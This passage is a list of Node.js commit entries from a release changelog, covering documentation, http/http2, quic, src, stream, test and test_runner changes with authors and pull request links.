<li>[<a href="https://github.com/nodejs/node/commit/c39d5fc820"><code>c39d5fc820</code></a>] - <strong>doc</strong>: fix article usage before vowel-sound acronyms (joao-oliveira-softtor) <a href="https://github.com/nodejs/node/pull/62696" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62696/hovercard">#62696</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/398261f911"><code>398261f911</code></a>] - <strong>doc</strong>: remove the bi-monthly contributor spotlight section (Claudio Wunder) <a href="https://github.com/nodejs/node/pull/62734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62734/hovercard">#62734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd9e14c405"><code>fd9e14c405</code></a>] - <strong>doc</strong>: update http2's <code>push</code> and <code>trailers</code> events with <code>rawHeaders</code> param (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63259/hovercard">#63259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b943ce6933"><code>b943ce6933</code></a>] - <strong>doc</strong>: remove inactive members from Triagers list (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63329" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63329/hovercard">#63329</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b9cdfc022"><code>4b9cdfc022</code></a>] - <strong>doc</strong>: reference correct function in Module docs (Robin Malfait) <a href="https://github.com/nodejs/node/pull/63247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63247/hovercard">#63247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bed84b6df2"><code>bed84b6df2</code></a>] - <strong>doc</strong>: replace Visual Studio 2022 Evergreen version reference with 17.14 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63211" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63211/hovercard">#63211</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ea70569b"><code>32ea70569b</code></a>] - <strong>doc</strong>: recommend explicitly Tier 1 or 2 for production applications (Mike McCready) <a href="https://github.com/nodejs/node/pull/63187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63187/hovercard">#63187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4627bcfd82"><code>4627bcfd82</code></a>] - <strong>doc</strong>: run license-builder (github-actions[bot]) <a href="https://github.com/nodejs/node/pull/63232" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63232/hovercard">#63232</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28eba71845"><code>28eba71845</code></a>] - <strong>doc</strong>: add large pull requests contributing guide (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62829/hovercard">#62829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2648efd438"><code>2648efd438</code></a>] - <strong>doc</strong>: remove unnecessary <code>&lt;!-- eslint-</code> magic comments (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63200" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63200/hovercard">#63200</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a95fc1f8fc"><code>a95fc1f8fc</code></a>] - <strong>doc</strong>: clarify SEA platform support excludes darwin-x64 (MJSHANG) <a href="https://github.com/nodejs/node/pull/63181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63181/hovercard">#63181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaef29e2e1"><code>aaef29e2e1</code></a>] - <strong>doc</strong>: update release steps when post-release fails (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63131/hovercard">#63131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d81419cf2"><code>7d81419cf2</code></a>] - <strong>doc</strong>: add Hmac.digest() documentation-only deprecation (DEP0206) (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63121/hovercard">#63121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ececd80d81"><code>ececd80d81</code></a>] - <strong>doc</strong>: document the latest-vX.x schema (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63033/hovercard">#63033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27c1c1d842"><code>27c1c1d842</code></a>] - <strong>doc</strong>: remove list of versions in <code>BUILDING.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63113/hovercard">#63113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e369886a65"><code>e369886a65</code></a>] - <strong>doc,sqlite</strong>: document entryPoint argument for loadExtension (Edy Silva) <a href="https://github.com/nodejs/node/pull/63152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63152/hovercard">#63152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4e5137cbd"><code>e4e5137cbd</code></a>] - <strong>errors</strong>: handle V8 warnings in DisallowJavascriptExecutionScope (Divyanshu Sharma) <a href="https://github.com/nodejs/node/pull/63491" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63491/hovercard">#63491</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d1f6048d2"><code>6d1f6048d2</code></a>] - <strong>fs</strong>: make <code>Date</code> properties on <code>Stats</code> enumerable (LiviaMedeiros) <a href="https://github.com/nodejs/node/pull/63328" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63328/hovercard">#63328</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c8ebcbd6"><code>44c8ebcbd6</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9251fc09"><code>4c9251fc09</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add writeInformation to send arbitrary 1xx status codes (Tim Perry) <a href="https://github.com/nodejs/node/pull/63155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63155/hovercard">#63155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39f61fb06c"><code>39f61fb06c</code></a>] - <strong>http2</strong>: emit session close before stream close (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63414/hovercard">#63414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a8f2127d1"><code>8a8f2127d1</code></a>] - <strong>http2</strong>: validate non-link headers in writeEarlyHints (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62017/hovercard">#62017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c989ec4a3"><code>8c989ec4a3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>inspector</strong>: expose precise coverage start to JS runtime (sangwook) <a href="https://github.com/nodejs/node/pull/63079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63079/hovercard">#63079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c05f38229b"><code>c05f38229b</code></a>] - <strong>lib</strong>: cleanup stateless diffiehellman key handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62645/hovercard">#62645</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c16b45d35"><code>1c16b45d35</code></a>] - <strong>lib</strong>: refactor internal webidl converters (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62979/hovercard">#62979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02f35d6dce"><code>02f35d6dce</code></a>] - <strong>lib</strong>: define <code>kEnumerableProperty</code> atomically (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63609/hovercard">#63609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12c51547ba"><code>12c51547ba</code></a>] - <strong>lib</strong>: fix typos in esm loader comments (RonGamzu) <a href="https://github.com/nodejs/node/pull/63465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63465/hovercard">#63465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b03b84262"><code>9b03b84262</code></a>] - <strong>lib</strong>: fix typo idenity =&gt; identity (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63112/hovercard">#63112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a84e6b0567"><code>a84e6b0567</code></a>] - <strong>lib</strong>: fixes validator message (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62823/hovercard">#62823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11734166a8"><code>11734166a8</code></a>] - <strong>lib</strong>: narrow ReadableStreamBYOBRequest.view return type to Uint8Array (RoomWithOutRoof) <a href="https://github.com/nodejs/node/pull/63017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63017/hovercard">#63017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cead61d21"><code>7cead61d21</code></a>] - <strong>meta</strong>: flip mcollina emails in .mailmap (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63621/hovercard">#63621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a08cfcfd35"><code>a08cfcfd35</code></a>] - <strong>meta</strong>: label "source maps" PRs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63591/hovercard">#63591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d56e8d2512"><code>d56e8d2512</code></a>] - <strong>meta</strong>: add <code>vfs</code> subsystem label (René) <a href="https://github.com/nodejs/node/pull/62331" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62331/hovercard">#62331</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6201cfe488"><code>6201cfe488</code></a>] - <strong>meta</strong>: skip scheduled workflows on forks (Jamie Magee) <a href="https://github.com/nodejs/node/pull/63565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63565/hovercard">#63565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f095e2bd31"><code>f095e2bd31</code></a>] - <strong>meta</strong>: add additional gitignore entries (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ea52c444c"><code>1ea52c444c</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63402/hovercard">#63402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b2327611"><code>b1b2327611</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63235" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63235/hovercard">#63235</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d88e130a9"><code>7d88e130a9</code></a>] - <strong>meta</strong>: ignore AI assistants files (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62612" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62612/hovercard">#62612</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a53b51df38"><code>a53b51df38</code></a>] - <strong>module</strong>: load ESM helpers eagerly in the snapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63550/hovercard">#63550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/69df688fff"><code>69df688fff</code></a>] - <strong>module</strong>: fix sync hook short-circuit in require() in imported CJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62920" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62920/hovercard">#62920</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75d9a4ed47"><code>75d9a4ed47</code></a>] - <strong>node-api</strong>: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) <a href="https://github.com/nodejs/node/pull/62710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62710/hovercard">#62710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c20aa4c47b"><code>c20aa4c47b</code></a>] - <strong>quic</strong>: add reusePort option to QuicEndpoint (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26a30d8a7f"><code>26a30d8a7f</code></a>] - <strong>quic</strong>: implement rate limiting for version nego and immediate close (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b534b5770"><code>0b534b5770</code></a>] - <strong>quic</strong>: fixup linting issue after other changes (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b367cbe09"><code>4b367cbe09</code></a>] - <strong>quic</strong>: remove unused binding variable in session.cc (James M Snell) <a href="https://github.com/nodejs/node/pull/63177" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63177/hovercard">#63177</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2574bef5a6"><code>2574bef5a6</code></a>] - <strong>repl</strong>: fix dedup comparing normalized line against raw history (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62886" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62886/hovercard">#62886</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30e71c7e49"><code>30e71c7e49</code></a>] - <strong>sqlite</strong>: keep source database alive during backup (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62673/hovercard">#62673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/677ca7e76c"><code>677ca7e76c</code></a>] - <strong>src</strong>: simplify OpenSSL feature gates (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c863c75c39"><code>c863c75c39</code></a>] - <strong>src</strong>: add BoringSSL EVP enumeration fallback (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63206/hovercard">#63206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6b2466921"><code>f6b2466921</code></a>] - <strong>src</strong>: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62924/hovercard">#62924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92d4f07dd2"><code>92d4f07dd2</code></a>] - <strong>src</strong>: remove license headers for new node_profiling files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63066/hovercard">#63066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ac5d771c8"><code>8ac5d771c8</code></a>] - <strong>src</strong>: split profiling helpers from util (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/63008" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63008/hovercard">#63008</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85d1639495"><code>85d1639495</code></a>] - <strong>src</strong>: remove TOCTOU race condition when encoding SAB-backed <code>Buffer</code>s (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63517/hovercard">#63517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9473c5f05c"><code>9473c5f05c</code></a>] - <strong>src</strong>: skip duplicate UTF-8 validation in TextDecoder fatal path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63231" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63231/hovercard">#63231</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f35c91ee68"><code>f35c91ee68</code></a>] - <strong>src</strong>: improve token return value check (James M Snell) <a href="https://github.com/nodejs/node/pull/63483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63483/hovercard">#63483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26f677c1c5"><code>26f677c1c5</code></a>] - <strong>src</strong>: expose <code>node::RegisterContext</code> to make a node managed context (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62322" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62322/hovercard">#62322</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/275cf909b6"><code>275cf909b6</code></a>] - <strong>src,sqlite</strong>: only pass <code>xFilter</code> when user provided a callback (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63516" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63516/hovercard">#63516</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/287e02303f"><code>287e02303f</code></a>] - <strong>src,sqlite</strong>: remove dead code (Edy Silva) <a href="https://github.com/nodejs/node/pull/63204" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63204/hovercard">#63204</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58fa2ee189"><code>58fa2ee189</code></a>] - <strong>stream</strong>: switch to internal <code>sleep</code> binding (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63611" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63611/hovercard">#63611</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f954ab3f1a"><code>f954ab3f1a</code></a>] - <strong>stream</strong>: use data listener for compose forwarding (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63593/hovercard">#63593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc57173003"><code>dc57173003</code></a>] - <strong>stream</strong>: fix Writable.toWeb() hang on synchronous drain (sangwook) <a href="https://github.com/nodejs/node/pull/61197" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61197/hovercard">#61197</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f54c8ba32"><code>3f54c8ba32</code></a>] - <em><strong>Revert</strong></em> "<strong>stream</strong>: noop pause/resume on destroyed streams" (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63834/hovercard">#63834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cee279c5d6"><code>cee279c5d6</code></a>] - <strong>stream</strong>: remove unnecessary check (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63030" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63030/hovercard">#63030</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61b20f60a3"><code>61b20f60a3</code></a>] - <strong>test</strong>: update tls/crypto behaviour expectations when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63161/hovercard">#63161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a835363808"><code>a835363808</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 97bbc7247a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63417/hovercard">#63417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a00297480b"><code>a00297480b</code></a>] - <strong>test</strong>: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62389/hovercard">#62389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a95a2b055"><code>5a95a2b055</code></a>] - <strong>test</strong>: shorten path in net pipe connect errors (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63405" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63405/hovercard">#63405</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e8ff22d8f"><code>5e8ff22d8f</code></a>] - <strong>test</strong>: remove test-node-output-v8-warning (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63469" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63469/hovercard">#63469</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee15380950"><code>ee15380950</code></a>] - <strong>test</strong>: update test426-fixtures to 9b9e225b5a63139e9a95cdd1bf874a8f0b9d131 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63373" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63373/hovercard">#63373</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e063d9bea"><code>9e063d9bea</code></a>] - <strong>test</strong>: update WPT for url to e4a4672e9e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63372/hovercard">#63372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/503bee4b43"><code>503bee4b43</code></a>] - <strong>test</strong>: deflake async-hooks statwatcher test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63396/hovercard">#63396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cccc7c32d8"><code>cccc7c32d8</code></a>] - <strong>test</strong>: avoid test_runner watch restart in spec snapshot (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63392" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63392/hovercard">#63392</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89489258c"><code>c89489258c</code></a>] - <strong>test</strong>: reduce watch mode restart flakiness (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63390/hovercard">#63390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4d5e2578e"><code>e4d5e2578e</code></a>] - <strong>test</strong>: isolate rerun-failures state file under tmpdir (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63449/hovercard">#63449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/362644a9ba"><code>362644a9ba</code></a>] - <strong>test</strong>: wait for ok before initial break after restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62807/hovercard">#62807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4058d0e05"><code>c4058d0e05</code></a>] - <strong>test</strong>: disable Maglev in near-heap-limit worker test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63398" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63398/hovercard">#63398</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/214da630a7"><code>214da630a7</code></a>] - <strong>test</strong>: deflake connection refused proxy tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63395/hovercard">#63395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d61a29876"><code>1d61a29876</code></a>] - <strong>test</strong>: avoid repeated writes in watch helper (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63386" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63386/hovercard">#63386</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2004e25387"><code>2004e25387</code></a>] - <strong>test</strong>: deflake watch mode worker test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63384" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63384/hovercard">#63384</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d691cccfc1"><code>d691cccfc1</code></a>] - <strong>test</strong>: relax test-memory-usage arrayBuffers check (inoway46) <a href="https://github.com/nodejs/node/pull/63244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63244/hovercard">#63244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ff6bf853c"><code>0ff6bf853c</code></a>] - <strong>test</strong>: reduce flakiness of <code>different-registry-per-thread</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63244/hovercard">#63244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9f4e8e503"><code>d9f4e8e503</code></a>] - <strong>test</strong>: fix flaky test-watch-mode-inspect timeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63361" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63361/hovercard">#63361</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d7cd50328"><code>6d7cd50328</code></a>] - <strong>test</strong>: relax min assertion in test-performance-eventloopdelay (Marco) <a href="https://github.com/nodejs/node/pull/63100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63100/hovercard">#63100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dafe1d2d8"><code>9dafe1d2d8</code></a>] - <strong>test</strong>: avoid flaky restart sync in debugger exceptions test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62055/hovercard">#62055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/989b2de973"><code>989b2de973</code></a>] - <strong>test</strong>: avoid initial-break wait in restart-message (inoway46) <a href="https://github.com/nodejs/node/pull/62060" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62060/hovercard">#62060</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a072a25ee7"><code>a072a25ee7</code></a>] - <strong>test</strong>: move FFI tests to <code>NATIVE_SUITES</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63165/hovercard">#63165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64efbfd878"><code>64efbfd878</code></a>] - <strong>test</strong>: use ERM to destroy sqlite database handles after tests (René) <a href="https://github.com/nodejs/node/pull/63076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63076/hovercard">#63076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dee66cd94"><code>7dee66cd94</code></a>] - <strong>test_runner</strong>: dont buffer unordered events in process isolation mode (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63432" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63432/hovercard">#63432</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d257eec1e3"><code>d257eec1e3</code></a>] - <strong>test_runner</strong>: fix --test-rerun-failures swallowing failures on retry (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63431/hovercard">#63431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/288c320e2f"><code>288c320e2f</code></a>] - <strong>test_runner</strong>: show replayed-from-attempt hint in spec reporter (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63429/hovercard">#63429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/904bdf5bb4"><code>904bdf5bb4</code></a>] - <strong>test_runner</strong>: preserve run duration when using test-rerun (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63429/hovercard">#63429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df183d7bfa"><code>df183d7bfa</code></a>] - <strong>test_runner</strong>: avoid hanging on incomplete v8 frames (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62704/hovercard">#62704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec86c69726"><code>ec86c69726</code></a>] - <strong>test_runner</strong>: fix diagnostics channel context tracking (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63283" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63283/hovercard">#63283</a></li>
